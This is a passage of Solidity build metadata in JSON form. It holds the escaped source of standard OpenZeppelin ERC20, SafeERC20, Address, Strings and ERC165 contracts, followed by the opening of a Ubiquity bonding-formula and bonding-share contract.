representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n unchecked {\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n unchecked {\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\\n *\\n * This internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n unchecked {\\n _balances[sender] = senderBalance - amount;\\n }\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n\\n _afterTokenTransfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n\\n _afterTokenTransfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[account] = accountBalance - amount;\\n }\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n\\n _afterTokenTransfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(\\n address owner,\\n address spender,\\n uint256 amount\\n ) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n\\n /**\\n * @dev Hook that is called after any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * has been transferred to `to`.\\n * - when `from` is zero, `amount` tokens have been minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _afterTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n}\\n\",\"keccak256\":\"0x418cfe64226a974419f8ab7287ad4bb413156a4d7af8ab5d9bcaa5678d1a2f22\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0x027b891937d20ccf213fdb9c31531574256de774bda99d3a70ecef6e1913ed2a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(\\n IERC20 token,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(\\n IERC20 token,\\n address from,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) {\\n // Return data is optional\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x02348b2e4b9f3200c7e3907c5c2661643a6d8520e9f79939fbb9b4005a54894d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) private pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x3b4820cac4f127869f6eb496c1d74fa6ac86ed24071e0f94742e6aef20e7252c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0x95098bd1d9c8dec4d80d3dedb88a0d949fa0d740ee99f2aa466bc308216ca6d5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant _HEX_SYMBOLS = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n}\\n\",\"keccak256\":\"0x391d3ba97ab6856a16b225d6ee29617ad15ff00db70f3b4df1ab5ea33aa47c9d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/BondingFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\nimport \\\"./interfaces/IMasterChefV2.sol\\\";\\n\\ncontract BondingFormulas {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n\\n uint256 public constant ONE = uint256(1 ether); // 18 decimals\\n\\n /// @dev formula UBQ Rights corresponding to a bonding shares LP amount\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice shares = (bond.shares * _amount ) / bond.lpAmount ;\\n function sharesForLP(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256 _uLP) {\\n bytes16 a = _shareInfo[0].fromUInt(); // shares amount\\n bytes16 v = _amount.fromUInt();\\n bytes16 t = _bond.lpAmount.fromUInt();\\n\\n _uLP = a.mul(v).div(t).toUInt();\\n }\\n\\n /// @dev formula may add a decreasing rewards if locking end is near when removing liquidity\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice rewards = _amount;\\n // solhint-disable-block no-unused-vars\\n /* solhint-disable no-unused-vars */\\n function lpRewardsRemoveLiquidityNormalization(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n return _amount;\\n }\\n\\n /* solhint-enable no-unused-vars */\\n /// @dev formula may add a decreasing rewards if locking end is near when adding liquidity\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice rewards = _amount;\\n // solhint-disable-block no-unused-vars\\n /* solhint-disable no-unused-vars */\\n function lpRewardsAddLiquidityNormalization(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n return _amount;\\n }\\n\\n /* solhint-enable no-unused-vars */\\n\\n /// @dev formula to calculate the corrected amount to withdraw based on the proportion of\\n /// lp deposited against actual LP token on thge bonding contract\\n /// @param _totalLpDeposited , Total amount of LP deposited by users\\n /// @param _bondingLpBalance , actual bonding contract LP tokens balance minus lp rewards\\n /// @param _amount , amount of LP tokens\\n /// @notice corrected_amount = amount * ( bondingLpBalance / totalLpDeposited)\\n /// if there is more or the same amount of LP than deposited then do nothing\\n function correctedAmountToWithdraw(\\n uint256 _totalLpDeposited,\\n uint256 _bondingLpBalance,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n if (_bondingLpBalance < _totalLpDeposited && _bondingLpBalance > 0) {\\n // if there is less LP token inside the bonding contract that what have been deposited\\n // we have to reduce proportionnaly the lp amount to withdraw\\n return\\n _amount\\n .fromUInt()\\n .mul(_bondingLpBalance.fromUInt())\\n .div(_totalLpDeposited.fromUInt())\\n .toUInt();\\n }\\n return _amount;\\n }\\n}\\n\",\"keccak256\":\"0xc5e2b35fec0dd9d100e33802346c5e3c824d8c92b65619cb64794566744e49f4\",\"license\":\"MIT\"},\"contracts/BondingShareV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./utils/SafeAddArray.sol\\\";\\n\\ncontract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable {\\n using SafeAddArray for uint256[];\\n struct Bond {\\n // address of the minter\\n address minter;\\n // lp amount deposited by the user\\n uint256 lpFirstDeposited;\\n uint256 creationBlock;\\n // lp that were already there when created\\n uint256 lpRewardDebt;\\n uint256 endBlock;\\n // lp remaining for a user\\n uint256 lpAmount;\\n }\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n // Mapping from account to operator approvals\\n mapping(address => uint256[]) private _holderBalances;\\n mapping(uint256 => Bond) private _bonds;\\n uint256 private _totalLP;\\n uint256 private _totalSupply;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n 